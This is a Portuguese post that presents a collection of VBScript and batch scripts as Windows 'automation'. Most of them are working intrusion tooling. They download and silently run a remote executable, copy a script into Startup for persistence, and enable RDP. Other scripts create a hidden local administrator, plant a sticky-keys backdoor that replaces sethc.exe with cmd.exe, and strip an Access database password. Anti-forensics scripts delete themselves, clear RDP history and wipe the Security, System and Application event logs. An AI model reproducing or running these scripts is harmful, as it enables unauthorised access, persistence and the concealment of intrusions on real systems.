Scripts VBScript e Batch para Automação de Tarefas no Windows

Esta coleção apresenta diversos exemlpos de scripts VBScript e arquivos batch (BAT) que demonstram funcionalidades variadas para automação e interação com o sistema operacional Windows. Os exemplos abrangem desde manipulação de navegadores até configurações de sistema e gerenciamento de arquivos.

Automação Web com VBScript

O VBScript pode ser uttilizado para interagir programaticamente com aplicações, como o Internet Explorer, para automatizar tarefas baseadas na web. O script a seguir ilustra como iniciar uma instância do navegador, navegar até uma URL específica e simular cliques em elementos da página.


Dim navegadorIE, elementoBotao
Set navegadorIE = CreateObject("InternetExplorer.Application")
navegadorIE.Visible = True ' Define se o navegador será visível ou executado em segundo plano
navegadorIE.Navigate "http://exemplo.com/pagina-interativa" ' Substitua pela URL desejada

Do ' Loop principal para interação contínua
    Do ' Espera a página carregar completamente
        WScript.Sleep 200
    Loop Until navegadorIE.ReadyState = 4 ' ReadyState = 4 indica que o documento está "completo"

    ' Tenta localizar um elemento HTML pelo seu ID e clica nele
    ' Adapte o ID do elemento ("idDoBotao") conforme a estrutura da página web
    Set elementoBotao = navegadorIE.Document.getElementById("idDoBotao")
    If Not elementoBotao Is Nothing Then
        elementoBotao.Click
        WScript.Sleep 5000 ' Pausa de 5 segundos antes da próxima iteração
    Else
        ' Mensagem de erro ou log caso o botão não seja encontrado
        ' WScript.Echo "Botão 'idDoBotao' não encontrado."
    End If
Loop

Transferência e Execução de Arquivos

É possível utilizar VBScript para baixar arquivos de uma URL remota e executá-los localmente. Este processo envolve o uso de objetos COM como MSXML2.XMLHTTP para a requisição HTTP e ADODB.Stream para lidar com o fluxo de dados binários.


Dim httpReq, fileStream, shellObj

' Objeto para realizar requisições HTTP
Set httpReq = CreateObject("MSXML2.XMLHTTP")
httpReq.Open "GET", "http://exemplo.com/recurso.exe", False ' URL do arquivo a ser baixado
httpReq.Send()

' Verifica se a requisição foi bem-sucedida (Status 200 OK)
If httpReq.Status = 200 Then
    Set fileStream = CreateObject("ADODB.Stream")
    fileStream.Open
    fileStream.Type = 1 ' Tipo binário
    fileStream.Write httpReq.ResponseBody ' Escreve o conteúdo da resposta HTTP no stream
    fileStream.Position = 0 ' Volta para o início do stream
    fileStream.SaveToFile "arquivo_baixado.exe", 2 ' Salva o arquivo (2 = sobrescrever se existir)
    fileStream.Close
    Set fileStream = Nothing
End If

Set httpReq = Nothing

' Executa o arquivo baixado em segundo plano
Set shellObj = CreateObject("WScript.Shell")
' Os parâmetros de execução podem ser personalizados
' O '0' esconde a janela do programa, e 'TRUE' espera a conclusão
shellObj.Run "arquivo_baixado.exe -parametro1 valor1 -parametro2 valor2", 0, TRUE

Configuração de Autoinicialização

Para garantir que um script ou aplicação seja executado sempre que o sistema operacional iniciar, ele pode ser copiado para a pasta de inicialização do Windows. O VBScript oferece uma maneira simples de realizar essa persistência.


Dim fileSystemObj, shellUtil, startupPath, currentScript

' Objetos para manipulação de arquivos e acesso ao shell
Set fileSystemObj = CreateObject("Scripting.FileSystemObject")
Set shellUtil = CreateObject("WScript.Shell")

' Obtém o caminho completo do script atual
Set currentScript = fileSystemObj.GetFile(WScript.ScriptFullName)

' Obtém o caminho da pasta de inicialização do usuário atual
startupPath = shellUtil.SpecialFolders("Startup") & "\"

' Copia o script atual para a pasta de inicialização
currentScript.Copy startupPath

Gestão Avançada de Sistema com VBScript

O VBScript, em conjunto com WMI (Windows Management Instrumentation) e ADSI (Active Directory Service Interfaces), pode ser usado para realizar operações complexas no sistema, como habilitar o RDP, criar usuários administrativos e modificar componentes do sistema.

Habilitando o Protocolo de Área de Trabalho Remota (RDP)

A Área de Trabalho Remota pode ser habilitada e configurada através da modificação de chaves de registro específicas.


On Error Resume Next ' Ignora erros e continua a execução

Const HKEY_LOCAL_MACHINE = &H80000002
Dim strComputerName, objRegistry, regPath, valueName, dwordVal

strComputerName = "." ' O computador local
Set objRegistry = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _
    strComputerName & "\root\default:StdRegProv")

' Habilita as conexões de Área de Trabalho Remota
regPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
valueName = "fDenyTSConnections"
dwordVal = 0 ' 0 = habilitado, 1 = desabilitado
objRegistry.SetDWORDValue HKEY_LOCAL_MACHINE, regPath, valueName, dwordVal

' Define a porta RDP para 3389 (padrão)
regPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
objRegistry.CreateKey HKEY_LOCAL_MACHINE, regPath ' Garante que a chave existe
valueName = "PortNumber"
dwordVal = 3389
objRegistry.SetDWORDValue HKEY_LOCAL_MACHINE, regPath, valueName, dwordVal

regPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
objRegistry.CreateKey HKEY_LOCAL_MACHINE, regPath ' Garante que a chave existe
valueName = "PortNumber"
objRegistry.SetDWORDValue HKEY_LOCAL_MACHINE, regPath, valueName, dwordVal

Criação de Usuário Administrativo Local

Um novo usuário local pode ser criado e adicionado ao grupo de administradores usando ADSI, sem a necessidade de comandos externos como net user.


On Error Resume Next

Dim newUsername, newPassword
' Define o nome de usuário e senha, ou os obtém dos argumentos do script
If WScript.Arguments.Count Then
    newUsername = WScript.Arguments(0)
    newPassword = WScript.Arguments(1)
Else
    newUsername = "novo_admin" ' Nome de usuário padrão
    newPassword = "SenhaForte123!" ' Senha padrão
End If

Dim networkInfo, computerDomain, computerObject, adminGroup, userObject, createdUser

Set networkInfo = CreateObject("WSCRIPT.NETWORK")
computerDomain = "WinNT://" & networkInfo.ComputerName

' Obtém o objeto do computador local
Set computerObject = GetObject(computerDomain)

' Cria um novo usuário
Set userObject = computerObject.Create("user", newUsername)
userObject.SetPassword newPassword
userObject.SetInfo ' Salva as alterações

' Adiciona o novo usuário ao grupo de administradores
Set adminGroup = GetObject(computerDomain & "/Administrators,group")
Set createdUser = GetObject(computerDomain & "/" & newUsername & ",user")
adminGroup.Add(createdUser.ADsPath)

Backdoor de Teclas de Aderência (Sticky Keys)

Esta técnica envolve a substituição do executável das Teclas de Aderência (sethc.exe) por outro programa (como cmd.exe), permitindo que um usuário acesse um prompt de comando com privilégios de sistema na tela de login, pressionando a tecla Shift cinco vezes.


On Error Resume Next

Dim shellObj, success

Set shellObj = CreateObject("WScript.Shell")
' Os comandos a seguir manipulam permissões e substituem o sethc.exe
success = shellObj.Run("cmd /c " & _
    "takeown /f %SystemRoot%\system32\sethc.exe & " & _
    "echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F & " & _
    "copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe & " & _
    "copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe & " & _
    "del %SystemRoot%\system32\sethc.exe & " & _
    "ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)

' Explicação dos comandos:
' takeown: assume a propriedade do arquivo sethc.exe
' cacls: modifica as permissões para conceder controle total ao usuário atual
' copy: cria cópias de backup do sethc.exe e uma cópia do cmd.exe
' del: exclui o sethc.exe original
' ren: renomeia cmd.exe (copiado) para sethc.exe

Autoexclusão do Script

Para remover vestígios da execução, um script VBScript pode ser configurado para se autoexcluir após completar suas tarefas.


' Este comando deve ser a última linha de código relevante para garantir que o script se execute
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

Gerenciamento de Senha de Banco de Dados Access

VBScript pode ser utilizado para interagir com bancos de dados Microsoft Access via ADO (ActiveX Data Objects), inclusive para alterar ou remover senhas de arquivos MDB.


Dim scriptArgs, dbConnection, oldDbPassword, newDbPassword, connectionString

Set scriptArgs = WScript.Arguments
If scriptArgs.Count <> 1 Then
    MsgBox "Uso: cscript script.vbs <caminho_do_arquivo.mdb>"
    WScript.Quit
End If

Set dbConnection = CreateObject("ADODB.Connection")

' Defina a senha antiga do banco de dados (se houver)
' Exemplo de uma senha complexa: "SeCr3tP@ssw0rd!"
oldDbPassword = "Senha Antiga" ' Substitua pela senha real, se houver

' Defina a nova senha (deixe vazio para remover a senha)
newDbPassword = "NovaSenhaSegura" ' Substitua ou deixe "" para remover

connectionString = "Provider=Microsoft.Jet.OLEDB.4.0;" & _
                   "Data Source=" & scriptArgs(0) & ";" & _
                   "Mode=Share Deny None;" & _
                   "Persist Security Info=False;" & _
                   "Jet OLEDB:Database Password=" & oldDbPassword & ";"

On Error Resume Next ' Ignora erros para lidar com senhas incorretas

dbConnection.Open connectionString

If Err.Number <> 0 Then
    MsgBox "Erro ao conectar ao banco de dados: " & Err.Description
    WScript.Quit
End If

' Altera ou remove a senha do banco de dados
If newDbPassword <> "" Then
    dbConnection.Execute("ALTER DATABASE Password [" & newDbPassword & "] [" & oldDbPassword & "]")
    If Err.Number = 0 Then
        MsgBox "Senha alterada com sucesso!"
    Else
        MsgBox "Erro ao alterar a senha: " & Err.Description
    End If
Else
    dbConnection.Execute("ALTER DATABASE Password Null [" & oldDbPassword & "]")
    If Err.Number = 0 Then
        MsgBox "Senha removida com sucesso!"
    Else
        MsgBox "Erro ao remover a senha: " & Err.Description
    End If
End If

dbConnection.Close
MsgBox "Operação concluída."

Limpeza de Rastros de Uso

Arquivos batch podem ser usados para limpar vestígios de atividades do usuário, como o histórico de conexões da Área de Trabalho Remota ou logs de eventos do sistema.

Limpeza de Histórico de Conexão RDP

Remover o histórico de conexões RDP armazenado no registro e o arquivo de configuração padrão pode ajudar a limpar rastros de uso.


@echo off
rem Exclui chaves de registro do histórico de clientes RDP
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
rem Exclui o arquivo de configuração padrão de conexão RDP
del "%USERPROFILE%\Documents\Default.rdp" /a /f
exit

Limpeza de Logs de Eventos do Windows

Um script batch pode ser combinado com um VBScript gerado dinamicamente para limpar logs de eventos do Windows, como os de Aplicação, Segurença e Sistema, usando WMI.


@echo off
rem Atrasa a execução por 60 segundos. Use "timeout /t 60 /nobreak >nul" em sistemas modernos.
choice /t 60 /d y /n >nul

rem Cria um VBScript temporário para limpar os logs de eventos
echo On Error Resume Next > %TEMP%\clear_event_logs.vbs
echo Set wmiService = GetObject("winmgmts:\\.\root\cimv2") >> %TEMP%\clear_event_logs.vbs
echo Dim logTypes(2) >> %TEMP%\clear_event_logs.vbs
echo logTypes(0) = "Application" >> %TEMP%\clear_event_logs.vbs
echo logTypes(1) = "Security" >> %TEMP%\clear_event_logs.vbs
echo logTypes(2) = "System" >> %TEMP%\clear_event_logs.vbs
echo For Each logName In logTypes >> %TEMP%\clear_event_logs.vbs
echo     Set eventLogs = wmiService.ExecQuery("SELECT * FROM Win32_NTEventLogFile WHERE LogFileName='"^&logName^&"'") >> %TEMP%\clear_event_logs.vbs
echo     For Each eventLog In eventLogs >> %TEMP%\clear_event_logs.vbs
echo         eventLog.ClearEventLog() >> %TEMP%\clear_event_logs.vbs
echo     Next >> %TEMP%\clear_event_logs.vbs
echo Next >> %TEMP%\clear_event_logs.vbs

rem Executa o VBScript gerado
cscript //NoLogo %TEMP%\clear_event_logs.vbs

rem Exclui o VBScript temporário
del /f /q %TEMP%\clear_event_logs.vbs

rem Exclui o próprio script batch (autoexclusão)
del "%~f0"
exit

Tags: VBScript Batch Script Windows Automation Registry Manipulation WMI

Publicado em 9-23 00:34